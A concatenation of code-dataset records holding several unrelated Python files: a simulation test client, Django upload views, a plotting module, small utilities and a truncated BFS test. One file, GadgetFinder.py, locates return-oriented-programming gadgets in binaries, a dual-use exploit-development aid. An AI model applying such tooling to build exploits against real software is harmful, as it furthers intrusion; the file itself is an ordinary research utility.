False)\n if __debug__: print \"--> ACK\"\n s.send(ACK)\n if len(blob) > 0:\n print \"%5i\" % steps\n msgs = blob.split(MSG_SEP)\n for msg in msgs:\n print \" > %s\" % msg.split(FIELD_SEP) \n\ndef put(data=''):\n if data == '':\n return\n if __debug__: print \"--> PUT\"\n s.send(PUT_MODE)\n if __debug__: print \"--> DATA\"\n s.sendall(data)\n d = s.recv(1)\n if (d == ACK):\n if __debug__: print \"<-- ACK\"\n else:\n if __debug__: print \"!!! ACK wanted, got %s\" % d\n if len(data) > 0:\n print \"%5i\" % steps\n try:\n out = ''\n msgs = data[:-1].split(MSG_SEP)\n for msg in msgs:\n out += \" < %s\\n\" % msg.split(FIELD_SEP)\n print out[:-1]\n except:\n print \" %s\" % data \n\ndef step_get_put(n=1, put_data=''):\n for i in xrange(0,n):\n step(1)\n get()\n if (put_data != ''):\n put(put_data)\n\ndef step_put(n=1, put_data=''):\n \"\"\"Steps n times, may receive pushed data, puts if needed.\"\"\"\n for i in xrange(0,n):\n step(1)\n if (put_data != ''):\n put(put_data)\n\n\nTEST_PUT_DATA_Z = 'MobileInfectWiggler'+FIELD_SEP+'{ \"p_id\":42, \"p_infected_mobile\":true, \"p_CAFE_WAITING_MIN\":300, \"p_CAFE_WAITING_MAX\":900, \"p_TIME_INTERNET_CAFE\":60, \"p_need_internet_offset\":4, \"p_INFECTION_DURATION\":15, \"p_INFECTION_RADIUS\":50, \"p_infection_time\":13 }'+MSG_END\nTEST_PUT_DATA_H = 'MobileInfectWiggler'+FIELD_SEP+'{ \"p_id\":23, \"p_infected_mobile\":false, \"p_CAFE_WAITING_MIN\":300, \"p_CAFE_WAITING_MAX\":900, \"p_TIME_INTERNET_CAFE\":60, \"p_need_internet_offset\":1, \"p_INFECTION_DURATION\":15, \"p_INFECTION_RADIUS\":50, \"p_infection_time\":-1 }'+MSG_END\n\nTEST_PUT_DATA_LOG = 'LogTomain'+FIELD_SEP+'LP0wnedPersonDataChannelForLogMessages!'+MSG_END\n\ndef test():\n connect()\n identify()\n step_put(60, '')\n step_put(1, TEST_PUT_DATA_H)\n step_put(30, '')\n step_put(1, TEST_PUT_DATA_Z)\n step_put(1200, '')\n close()\n\nif __name__ == '__main__':\n test()\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2012,"string":"2,012"}}},{"rowIdx":673,"cells":{"__id__":{"kind":"number","value":841813612609,"string":"841,813,612,609"},"blob_id":{"kind":"string","value":"774778046a32ee5fdcf7152c8ffdb946aa0f33da"},"directory_id":{"kind":"string","value":"25a35164329ea1d81d54a95e964e1965bdc39047"},"path":{"kind":"string","value":"/imperavi/views.py"},"content_id":{"kind":"string","value":"558baa497189fbdde9189689915e13e187b8ae33"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"simmol/motus_website"},"repo_url":{"kind":"string","value":"https://github.com/simmol/motus_website"},"snapshot_id":{"kind":"string","value":"2a43ad89d444f8cf5e4efbf23643e4b4e981c83b"},"revision_id":{"kind":"string","value":"77f55c4c5e9777ae88c207adaa00e2a99f5e5cd0"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-09-14T01:30:32.277253","string":"2016-09-14T01:30:32.277253"},"revision_date":{"kind":"timestamp","value":"2013-04-28T12:28:35","string":"2013-04-28T12:28:35"},"committer_date":{"kind":"timestamp","value":"2013-04-28T12:28:35","string":"2013-04-28T12:28:35"},"github_id":{"kind":"number","value":57973981,"string":"57,973,981"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"import hashlib\nimport md5\nimport json\nimport os.path\nimport imghdr\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.views.decorators.http import require_POST\nfrom django.contrib.auth.decorators import user_passes_test\nfrom django.core.files.storage import default_storage\nfrom django.utils.encoding import smart_str\nfrom django.http import HttpResponse, HttpResponseForbidden\nfrom django.conf import settings\n\nfrom forms import ImageForm, FileForm\n\nfrom sorl.thumbnail import get_thumbnail\n\nfrom photologue.models import Gallery, Photo\nfrom django.template.defaultfilters import slugify\n\nUPLOAD_PATH = getattr(settings, 'IMPERAVI_UPLOAD_PATH', 'imperavi/')\n\n\n@require_POST\n@csrf_exempt\n@user_passes_test(lambda user: user.is_staff)\ndef upload_image(request, upload_path=None):\n form = ImageForm(request.POST, request.FILES)\n if form.is_valid():\n image = form.cleaned_data['file']\n if image.content_type not in ['image/png', 'image/jpg', 'image/jpeg', 'image/pjpeg']:\n return HttpResponse('Bad image format')\n\n try:\n gallery = Gallery.objects.get(title_slug='pages_photos')\n except:\n gallery = Gallery(\n title = 'Site Pages Photos',\n title_slug = 'pages_photos',\n is_public = False,\n description = 'System album for holding images added directly to the pages',\n )\n gallery.save()\n\n\n image_name, extension = os.path.splitext(image.name)\n m = md5.new(smart_str(image_name))\n image_name = '{0}{1}'.format(m.hexdigest(), extension)\n\n try:\n photo = Photo(image=image, title=image_name, title_slug = slugify(image_name), caption='')\n except:\n photo = Photo(image=image_name, title_slug = slugify(image_name), caption='')\n\n photo.save()\n gallery.photos.add(photo)\n image_url = photo.get_display_url()\n\n # Original Code\n m = md5.new(smart_str(image_name))\n hashed_name = '{0}{1}'.format(m.hexdigest(), extension)\n image_path = default_storage.save(os.path.join(upload_path or UPLOAD_PATH, hashed_name), image)\n # image_url = default_storage.url(image_path)\n return HttpResponse(json.dumps({'filelink': image_url}))\n return HttpResponseForbidden()\n\n\n@user_passes_test(lambda user: user.is_staff)\ndef uploaded_images_json(request, upload_path=None):\n images = []\n try:\n gallery = Gallery.objects.get(title_slug='pages_photos')\n for photo in gallery.latest():\n images.append({\"thumb\": photo.get_admin_thumbnail_url(), \"image\": photo.get_display_url()})\n except:\n pass\n return HttpResponse(json.dumps(images))\n\n@require_POST\n@csrf_exempt\n@user_passes_test(lambda user: user.is_staff)\ndef upload_file(request, upload_path=None, upload_link=None):\n form = FileForm(request.POST, request.FILES)\n if form.is_valid():\n uploaded_file = form.cleaned_data['file']\n path = os.path.join(upload_path or UPLOAD_PATH, uploaded_file.name)\n image_path = default_storage.save(path, uploaded_file)\n image_url = default_storage.url(image_path)\n if upload_link:\n return HttpResponse(image_url)\n return HttpResponse(json.dumps({'filelink': image_url, 'filename': uploaded_file.name}))\n return HttpResponseForbidden()\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":674,"cells":{"__id__":{"kind":"number","value":9844065066601,"string":"9,844,065,066,601"},"blob_id":{"kind":"string","value":"4bf831cd421676f6fe5c01f11c510c4de3119489"},"directory_id":{"kind":"string","value":"0dea750262e0cebafd067c914fb593a950fe4522"},"path":{"kind":"string","value":"/GadgetFinder.py"},"content_id":{"kind":"string","value":"8c844fe1fc99a201dc5f67ec21b344a24f0545ee"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"gianlucasb/gadget-finder"},"repo_url":{"kind":"string","value":"https://github.com/gianlucasb/gadget-finder"},"snapshot_id":{"kind":"string","value":"8964dad8e1762d99e34cc8df3bcee49c79b4086f"},"revision_id":{"kind":"string","value":"ff13b8aa400164f1a8d0f0d1359b3876ad13e04d"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-16T21:23:55.006208","string":"2021-01-16T21:23:55.006208"},"revision_date":{"kind":"timestamp","value":"2013-02-02T02:23:27","string":"2013-02-02T02:23:27"},"committer_date":{"kind":"timestamp","value":"2013-02-02T02:23:27","string":"2013-02-02T02:23:27"},"github_id":{"kind":"number","value":7970318,"string":"7,970,318"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#!/usr/bin/env python\n\nimport sys\nimport os\n\nstart = 0x08048134\n\nif len(sys.argv) < 3:\n print \"Enter an input file and a number of bytes to look back\"\n sys.exit(1)\n\noffset = int(sys.argv[2])\n\nwith os.popen(\"objdump -D %s | head\"%sys.argv[1]) as f:\n for line in f:\n if line.startswith(\"0\"):\n start = int(line.split()[0],16)\n\nbinary = \"\"\n\nwith open(sys.argv[1],\"rb\") as f:\n binary = f.read()\n\ncount = 0\n\nrets = []\n\nfor letter in binary:\n if letter == '\\xc3':\n rets.append(count)\n count += 1\n \nfor ret in rets:\n with open(\"dump\",\"wb\") as f:\n for i in range(0,offset+1)[::-1]:\n f.write(binary[ret-i])\n output = \"\"\n with os.popen(\"objdump -D -b binary -mi386 dump\") as f:\n for line in f:\n output += line\n if output.find(\"ret\") > 0:\n print output.replace(\"00000000\",\"%s\"%hex(start+ret-315))\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":675,"cells":{"__id__":{"kind":"number","value":13632226225480,"string":"13,632,226,225,480"},"blob_id":{"kind":"string","value":"1bf7f893d4cf39fc00e9f0357ae8637819addbd4"},"directory_id":{"kind":"string","value":"c741a63c99f18b1794ab0cefec2aeb965965d3e3"},"path":{"kind":"string","value":"/clplot/plot.py"},"content_id":{"kind":"string","value":"c43c0f21539aeeae1d916d032b8f1415587da072"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"JohnFNovak/clplot"},"repo_url":{"kind":"string","value":"https://github.com/JohnFNovak/clplot"},"snapshot_id":{"kind":"string","value":"36909426eec9dfd12addc0bea219ffdd97de29d9"},"revision_id":{"kind":"string","value":"50bddb83cca24ac9e45747945ba13d5b41d79e62"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-02T22:58:21.300040","string":"2021-01-02T22:58:21.300040"},"revision_date":{"kind":"timestamp","value":"2014-05-28T16:01:49","string":"2014-05-28T16:01:49"},"committer_date":{"kind":"timestamp","value":"2014-05-28T16:01:49","string":"2014-05-28T16:01:49"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#! /usr/bin/env python\n\n# Part of CLP\n# A universal command line plotting script\n#\n# John Novak\n# June 4, 2012 - July 19, 2012\n\n# this sub-file holds the functions relating to generating the output\n\n# written for Python 2.6. Requires Scipy, Numpy, and Matplotlib\n\nimport sys\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nimport time\nimport string\nimport globe\nimport pickle\n\n\ndef plot_tiles(tiles, numbered=0, **kwargs):\n dic = globe.dic\n for i, t in enumerate(tiles):\n if not dic['columnsfirst']:\n plt.subplot2grid((dic['layout'][0], dic['layout'][1]),\n (((i - 1) - (i - 1) %\n dic['layout'][1]) / dic['layout'][1],\n ((i - 1) % dic['layout'][1])))\n if dic['columnsfirst']:\n plt.subplot2grid((dic['layout'][0], dic['layout'][1]),\n ((i - 1) % dic['layout'][1]),\n (((i - 1) - (i - 1) %\n dic['layout'][1]) / dic['layout'][1]))\n plot(t[0], '', Print=False)\n outputname = tiles[-1][1] + \"_tiled\"\n if numbered != 0:\n outputname = outputname + '_' + str(numbered)\n outputname = outputname + \".\" + dic['TYPE']\n plt.tight_layout() # Experimental, and may cause problems\n plt.savefig(outputname)\n if dic['Verbose'] > 0:\n print\"printed to\", outputname\n # if dic['EmbedData']:\n # EmbedData(outputname, data)\n #check = subprocess.call(['open', outputname])\n plt.clf()\n\n\ndef plot(data, outputfile, numbered=0, Print=True, **kwargs):\n \"\"\"This function takes a list z of lists and trys to plot them. the first\n list is always x, and the folowing are always y's\"\"\"\n\n # data format:\n # [[f_id, b_id], filename, output, x_label, y_label,\n # x, y, x_err, y_err, x_sys_err, y_sys_err]\n\n dic = globe.dic\n points = dic['colorstyle']\n\n if dic['Ucolor']:\n colors = dic['Ucolor']\n else:\n colors = ['b', 'g', 'r', 'c', 'm', 'y', 'k']\n if dic['Ustyle']:\n style = dic['Ustyle']\n else:\n style = ['o', 'v', '^', '<', ' > ', '1', '2', '3', '4', '-', '--',\n '-.', ':', 's', 'p', '*', 'h', 'H', ' + ', 'x', 'D', 'd', '|',\n '_', '.', ', ']\n for s in style:\n for c in colors:\n points.append(str(c + s))\n\n size = [dic['default_marker_size']] * len(points)\n for i in range(len(points)):\n if len(points[i].split(';')) == 2:\n points[i] = points[i].split(';')[0]\n size[i] = float(points[i].split(';')[1])\n\n plottingerrors = True\n\n if dic['x_range']:\n plt.xlim(dic['x_range'])\n if dic['y_range']:\n plt.ylim(dic['y_range'])\n x_label = '/'.join(sorted(set([d[3] for d in data if d[3]])))\n plt.xlabel(x_label, fontsize=dic['fontsize'])\n if dic['y_label']:\n plt.ylabel(dic['y_label'], fontsize=dic['fontsize'])\n if dic['x_log']:\n plt.xscale('log', nonposx='clip')\n if dic['y_log']:\n plt.yscale('log', nonposy='clip')\n\n plt.tick_params(axis='both', which='major', labelsize=dic['fontsize']*0.75)\n plt.tick_params(axis='both', which='minor', labelsize=dic['fontsize']*0.75)\n\n if dic['legend']:\n parse_legend(data)\n\n if dic['norm']:\n for d in data:\n X = np.array(d[5]).astype(float)\n Y = np.array(d[6]).astype(float)\n width = np.mean(X[1:] - X[:-1])\n Y = Y / np.sum(Y * width)\n d[6] = Y.tolist()\n\n for k, d in enumerate(data):\n X, Y, X_err, Y_err, X_sys_err, Y_sys_err = d[5:11]\n marker = points[k % len(points)]\n msize = size[k % len(points)]\n ecolor = points[k % len(points)][0]\n fcolor = points[k % len(points)][0]\n if marker[-1] == '!':\n fcolor = 'white'\n marker = marker[:-1]\n X = [float(x) * dic['xscaled'] for x in X]\n Y = [float(x) * dic['yscaled'] for x in Y]\n X_err = [float(x) * dic['xscaled'] for x in X_err]\n Y_err = [float(x) * dic['yscaled'] for x in Y_err]\n if plottingerrors and not dic['errorbands']:\n plt.errorbar(X, Y,\n xerr=X_err,\n yerr=Y_err,\n fmt=marker, label=d[4],\n mec=ecolor, mfc=fcolor, ms=msize)\n if plottingerrors and dic['errorbands']:\n if all([y == 0 for y in Y_err]):\n plt.errorbar(X, Y,\n xerr=[0] * len(X),\n yerr=[0] * len(Y),\n fmt=marker, label=d[4],\n mec=ecolor, mfc=fcolor, ms=msize)\n else:\n plt.errorbar(X, Y,\n xerr=[0] * len(X),\n yerr=[0] * len(Y),\n fmt=marker, label=d[4],\n mec=ecolor, mfc=fcolor, ms=msize)\n plt.fill_between(np.array(X),\n np.array(Y) + np.array(Y_err),\n np.array(Y) - np.array(Y_err),\n facecolor=ecolor, alpha=dic['alpha'],\n interpolate=True, linewidth=0)\n if dic['plot_sys_err']:\n plt.fill_between(np.array(X),\n np.array(Y) + np.array(Y_sys_err),\n np.array(Y) - np.array(Y_sys_err),\n facecolor=ecolor, alpha=dic['alpha'],\n interpolate=True, linewidth=0)\n if not plottingerrors:\n plt.plot(X, Y, points[k % len(points)])\n\n plt.grid(dic['grid'])\n\n if dic['legend']:\n plt.legend()\n\n if dic['interactive']:\n if dic['keep_live']:\n plt.ion()\n plt.show(block=False)\n else:\n plt.show()\n return\n\n outputname = outputfile\n\n if numbered != 0:\n outputname = outputname + \"_\" + str(numbered)\n if dic['MULTIP']:\n outputname = outputname + \"_mp\"\n\n outputname = outputname + \".\" + dic['TYPE']\n\n if Print:\n plt.tight_layout() # Experimental, and may cause problems\n plt.savefig(outputname)\n if dic['Verbose'] > 0:\n print\"printed to\", outputname\n if dic['EmbedData']:\n EmbedData(outputname, data)\n #check = subprocess.call(['open', outputname])\n plt.clf()\n\n\ndef parse_legend(data):\n # dic = globe.dic\n # delimiters = ['/', '-', '.', '/', '-', '.']\n delimiters = ['/', '-']\n labels = [x[4] for x in data]\n\n for divider in delimiters:\n tester = labels[0].split(divider)\n\n # From the front\n for i in labels:\n if len(i.split(divider)) > len(tester):\n tester = i.split(divider)\n hold = [0]*len(tester)\n\n for i in range(1, len(labels)):\n for j in range(len(labels[i].split(divider))):\n if tester[j] == labels[i].split(divider)[j] and hold[j]\\\n == 0:\n hold[j] = 1\n if tester[j] != labels[i].split(divider)[j] and hold[j]\\\n == 1:\n hold[j] = 0\n\n for i in range(len(hold)):\n if hold[len(hold)-1-i] == 1:\n for j in range(len(labels)):\n temp = []\n for k in range(len(labels[j].split(divider))):\n if k != len(hold) - 1 - i:\n temp.append(labels[j].split(divider)[k])\n labels[j] = string.join(temp, divider)\n\n tester = labels[0].split(divider)\n\n # From the back\n for i in labels:\n if len(i.split(divider)) > len(tester):\n tester = i.split(divider)\n hold = [0]*len(tester)\n\n for i in range(1, len(labels)):\n temp = len(labels[i].split(divider)) - 1 - j\n temp_labels = labels[i].split(divider)\n for j in range(temp):\n if tester[temp] == temp_labels[temp] and hold[temp] == 0:\n hold[temp] = 1\n if tester[temp] != temp_labels[temp] and hold[temp] == 1:\n hold[temp] = 0\n\n for i in range(len(hold)):\n if hold[len(hold)-1-i] == 1:\n for j in range(len(labels)):\n temp = []\n for k in range(len(labels[j].split(divider))):\n if k != len(hold)-1-i:\n temp.append(labels[j].split(divider)[k])\n labels[j] = string.join(temp, divider)\n\n\ndef EmbedData(outputname, data):\n dic = globe.dic\n StringToEmbed = \"Creation time: \" + time.ctime() + '\\n'\n StringToEmbed += \"Current directory: \" + os.path.abspath('.') + '\\n'\n StringToEmbed += \"Creation command: \" + ' '.join(sys.argv) + '\\n'\n StringToEmbed += \"Plotted values:\" + '\\n'\n for i, d in enumerate(data):\n X, Y, X_err, Y_err, X_sys_err, Y_sys_err = d[5:11]\n StringToEmbed += 'Plot %d\\n' % i\n StringToEmbed += 'x ' + ' '.join(map(str, X)) + '\\n'\n StringToEmbed += 'x_err ' + ' '.join(map(str, X_err)) + '\\n'\n StringToEmbed += 'x_sys_err ' + ' '.join(map(str, X_err)) + '\\n'\n StringToEmbed += 'y ' + ' '.join(map(str, Y)) + '\\n'\n StringToEmbed += 'y_err ' + ' '.join(map(str, Y_err)) + '\\n'\n StringToEmbed += 'y_sys_err ' + ' '.join(map(str, Y_sys_err)) + '\\n'\n StringToEmbed += 'PickleDump:'\n StringToEmbed += pickle.dumps(data)\n if dic['TYPE'] == 'jpg':\n with open(outputname, 'a') as f:\n f.write(StringToEmbed)\n elif dic['TYPE'] == 'pdf':\n if dic['Verbose'] > 0:\n print \"Warning!!! Embedding data in pdfs is not reliable storage!\"\n print \"Many PDF viewers will strip data which is not rendered!\"\n with open(outputname, 'r') as f:\n filetext = f.read().split('\\n')\n obj_count = 0\n for line in filetext:\n if ' obj' in line:\n obj_count = max(int(line.split()[0]), obj_count)\n if 'xref' in line:\n break\n StringToEmbed = '%d 0 obj\\n<>\\nstream\\n' % (\n obj_count + 1) + StringToEmbed + 'endstream\\nendobj'\n with open(outputname, 'w') as f:\n f.write('\\n'.join(filetext[:2] + [StringToEmbed] + filetext[2:]))\n\n\ndef reload_plot(filename):\n if not os.path.isfile(filename):\n print filename, 'does not exist'\n return None\n with open(filename, 'r') as f:\n data = f.read()\n if len(data.split('PickleDump:')) > 1:\n new = []\n for d in data.split('PickleDump:')[1:]:\n new.append(pickle.loads(d)[0])\n return new\n return None\n\n\nif __name__ == '__main__':\n print \"This code is part of CLP\"\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":676,"cells":{"__id__":{"kind":"number","value":16853451678638,"string":"16,853,451,678,638"},"blob_id":{"kind":"string","value":"409b10a0c6633d3d9f70fb3c7f610ae231bc9970"},"directory_id":{"kind":"string","value":"475b86242448df8787daa2b1a08dc272cbbf73a0"},"path":{"kind":"string","value":"/schwa/dr/__init__.py"},"content_id":{"kind":"string","value":"2fbe32ef20e456ddb9c2ad3ce92c45e78edcf2f6"},"detected_licenses":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type":{"kind":"string","value":"permissive"},"repo_name":{"kind":"string","value":"schwa-lab/libschwa-python"},"repo_url":{"kind":"string","value":"https://github.com/schwa-lab/libschwa-python"},"snapshot_id":{"kind":"string","value":"81e0e061bf63c0765e086c05805f60bc4f91fe4e"},"revision_id":{"kind":"string","value":"aebe5b0cf91e55b9e054ecff46a6e74fcd19f490"},"branch_name":{"kind":"string","value":"refs/heads/develop"},"visit_date":{"kind":"timestamp","value":"2020-06-06T05:13:07.991702","string":"2020-06-06T05:13:07.991702"},"revision_date":{"kind":"timestamp","value":"2014-09-04T03:28:34","string":"2014-09-04T03:28:34"},"committer_date":{"kind":"timestamp","value":"2014-09-04T03:28:34","string":"2014-09-04T03:28:34"},"github_id":{"kind":"number","value":17269031,"string":"17,269,031"},"star_events_count":{"kind":"number","value":5,"string":"5"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"bool","value":false,"string":"false"},"gha_event_created_at":{"kind":"timestamp","value":"2014-09-04T01:56:19","string":"2014-09-04T01:56:19"},"gha_created_at":{"kind":"timestamp","value":"2014-02-27T23:39:45","string":"2014-02-27T23:39:45"},"gha_updated_at":{"kind":"timestamp","value":"2014-09-04T01:31:31","string":"2014-09-04T01:31:31"},"gha_pushed_at":{"kind":"timestamp","value":"2014-09-04T01:56:19","string":"2014-09-04T01:56:19"},"gha_size":{"kind":"number","value":2828,"string":"2,828"},"gha_stargazers_count":{"kind":"number","value":2,"string":"2"},"gha_forks_count":{"kind":"number","value":1,"string":"1"},"gha_open_issues_count":{"kind":"number","value":2,"string":"2"},"gha_language":{"kind":"string","value":"Python"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"# vim: set et nosi ai ts=2 sts=2 sw=2:\n# coding: utf-8\nfrom __future__ import absolute_import, print_function, unicode_literals\nfrom .containers import StoreList\nfrom .decoration import Decorator, decorator, method_requires_decoration, requires_decoration\nfrom .exceptions import DependencyException, ReaderException, WriterException\nfrom .fields_core import Field, Pointer, Pointers, SelfPointer, SelfPointers, Slice, Store\nfrom .fields_extra import DateTime, Text\nfrom .meta import Ann, Doc, make_ann\nfrom .reader import Reader\nfrom .writer import Writer\n\nfrom . import decorators\n\n\n__all__ = ['StoreList', 'Decorator', 'decorator', 'decorators', 'requires_decoration', 'method_requires_decoration', 'DependencyException', 'ReaderException', 'Field', 'Pointer', 'Pointers', 'SelfPointer', 'SelfPointers', 'Slice', 'Store', 'DateTime', 'Text', 'Ann', 'Doc', 'make_ann', 'Token', 'Reader', 'Writer', 'WriterException']\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":677,"cells":{"__id__":{"kind":"number","value":12541304534998,"string":"12,541,304,534,998"},"blob_id":{"kind":"string","value":"3a4eb78940686eeb380d0a16fcb1dea2ae4ec522"},"directory_id":{"kind":"string","value":"bcce3adbafc0843893ae51484c65bdb8e5f35b47"},"path":{"kind":"string","value":"/euclidsExtended.py"},"content_id":{"kind":"string","value":"14ad40b0b017b171d21bfbbc922e81616ced0236"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"akgill/CSCI3104-Alg"},"repo_url":{"kind":"string","value":"https://github.com/akgill/CSCI3104-Alg"},"snapshot_id":{"kind":"string","value":"07e26cf229e8535f0d888262a4b972105f263a73"},"revision_id":{"kind":"string","value":"22023f8967dd1a49360f78fc1796dbfa2183cd47"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-09-15T14:20:02.377973","string":"2016-09-15T14:20:02.377973"},"revision_date":{"kind":"timestamp","value":"2013-10-12T23:22:29","string":"2013-10-12T23:22:29"},"committer_date":{"kind":"timestamp","value":"2013-10-12T23:22:29","string":"2013-10-12T23:22:29"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"def euclidsExtended(a,b):\n \"\"\"This function computes d = gcd(a,b) and also returns the values\n x and y that satisfy x*a + y*b = d.\"\"\"\n\n if b==0:\n return (a, 1, 0)\n \n (d, xx, yy) = euclidsExtended(b, a % b)\n return (d, yy, xx - (a//b)*yy)\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":678,"cells":{"__id__":{"kind":"number","value":13116830149369,"string":"13,116,830,149,369"},"blob_id":{"kind":"string","value":"315f33012786d855e31ae0c3654441d290593829"},"directory_id":{"kind":"string","value":"a4b5d192bdbb77af79e17f5da945ce2e0ce4c24c"},"path":{"kind":"string","value":"/ut/test_bfs.py"},"content_id":{"kind":"string","value":"95ac61d5af25c49633b597a6c76ab294ceb6edda"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"billyevans/trains"},"repo_url":{"kind":"string","value":"https://github.com/billyevans/trains"},"snapshot_id":{"kind":"string","value":"47ace70fdcceccd87899dadb9b31ce0c4c6b28fd"},"revision_id":{"kind":"string","value":"c61d35f7d073b0ce8dc482c9f796b7c4f0d35afa"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-10T20:21:09.739370","string":"2021-01-10T20:21:09.739370"},"revision_date":{"kind":"timestamp","value":"2014-06-21T17:42:42","string":"2014-06-21T17:42:42"},"committer_date":{"kind":"timestamp","value":"2014-06-21T17:42:42","string":"2014-06-21T17:42:42"},"github_id":{"kind":"number","value":21074916,"string":"21,074,916"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"from unittest import TestCase\n\n__author__ = 'billyevans'\n\nfrom core.digraph import DiGraph, Edge\nfrom core.algo import bfs, BfsLEStops, BfsEQStops, BfsLTStops, BfsEQDist, BfsLTDist\n\n\nclass TestBfs(TestCase):\n # test graph\n # AB5, BC4, CD8, DC8, DE6, AD5, CE2, EB3, AE7\n def setUp(self):\n self.G = DiGraph()\n self.G.add_edge(Edge('A', 'B', 5))\n self.G.add_edge(Edge('B', 'C', 4))\n self.G.add_edge(Edge('C', 'D', 8))\n self.G.add_edge(Edge('D', 'C', 8))\n self.G.add_edge(Edge('D', 'E', 6))\n self.G.add_edge(Edge('A', 'D', 5))\n self.G.add_edge(Edge('C', 'E', 2))\n self.G.add_edge(Edge('E', 'B', 3))\n self.G.add_edge(Edge('A', 'E', 7))\n\n # from 